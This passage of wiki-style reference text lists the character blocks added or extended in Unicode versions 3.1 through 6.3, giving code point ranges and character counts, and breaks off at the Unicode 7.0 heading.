* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221, U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357, U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF, U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F, U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01, U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C, U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35, U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD, U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691, U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D, U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF, U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427, U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''', containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''', containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''', containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''', containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''', containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''', containing 4 additional diacritics, was added.
* '''Glagolitic''', containing 94 characters for the Glagolitic script, was added.
* '''Coptic''', containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''', containing 38 Nuskhuri letters, was added.
* '''Tifinagh''', containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''', containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''', containing 26 additional punctuation marks, was added.
* '''CJK Strokes''', containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''', containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''', containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''', containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''', containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''', containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''', containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''', containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''.
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''.
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''.
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''.
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''.
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''.
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''.
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''.
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''.
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''.
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''.
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''.
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''.
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''.
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''.
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''.
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''.
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''.
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''.
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''.
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''.
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''.
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''', containing 59 characters for the N'Ko script, was added.
* '''Balinese''', containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''', containing 17 letters for various languages, was added.
* '''Latin Extended-D''', containing 2 characters for UPA, was added.
* '''Phags-pa''', containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''', containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''', containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''', containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''', containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''.
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''.
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''.
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''.
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''.
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''.
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''.
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''.
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''.
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''.
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''.
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''.
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''.
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

